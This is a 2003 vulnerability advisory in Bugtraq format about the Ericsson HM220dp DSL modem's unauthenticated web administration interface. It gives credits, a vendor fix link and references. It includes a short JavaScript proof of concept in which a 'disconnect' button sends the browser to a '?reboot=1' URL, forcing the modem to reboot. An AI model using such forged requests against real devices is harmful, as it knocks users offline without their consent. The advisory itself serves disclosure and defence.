Ericsson HM220dp DSL Modem World Accessible Web Administration Interface Vulnerability

Bugtraq ID:	6824
Class:	Design Error
CVE:
Remote:	Yes
Local:	No
Published:	Feb 11 2003 12:00AM
Updated:	Feb 11 2003 12:00AM
Credit:	Discovery is credited to Davide Del Vecchio <[email protected]>. Script code exploit information was provided by Roberto Dapino <[email protected]>.
Vulnerable:	Ericsson HM220dp DSL Modem
Not Vulnerable:

Ericsson HM220dp DSL Modem World Accessible Web Administration Interface Vulnerability

The Ericsson HM220dp DSL Modem uses a web interface for remote administration and configuration. This interface does not require any authentication in order to access. There is no option to enable any authentication requirement.

Ericsson HM220dp DSL Modem World Accessible Web Administration Interface Vulnerability

There is no exploit code required.

The following proof of concept has been supplied:
[script]
function exploit(){
window.location = "view-source:http://www.example.com/dummy.html?reboot=1";
}
[/script]
[input type="button" value="disconnect" onClick="exploit();"]

Ericsson HM220dp DSL Modem World Accessible Web Administration Interface Vulnerability

Solution:
The vendor has released an update to address this issue. More information is available in web references.


Ericsson HM220dp DSL Modem

• Ericsson CXC_132_2094-R3F.exe
  http://www.wii.ericsson.net/xdslterminals/files/CXC_132_2094-R3F.exe

Ericsson HM220dp DSL Modem World Accessible Web Administration Interface Vulnerability

References:

• Release notes for the HM220dp (POTS version) ADSL modem SW update package. (Ericsson)
  
• DSL Modem Ericsson HM220dp Exploit (Roberto Dapino )
  
• Ericsson HM220dp ADSL modem Insecure Web Administration Vulnerability ("Davide Del Vecchio" )
  
• RE: Ericsson HM220dp ADSL modem Insecure Web Administration Vulnerability (=?iso-8859-1?Q?Johan_K=F6lhi_=28EAB=29?= )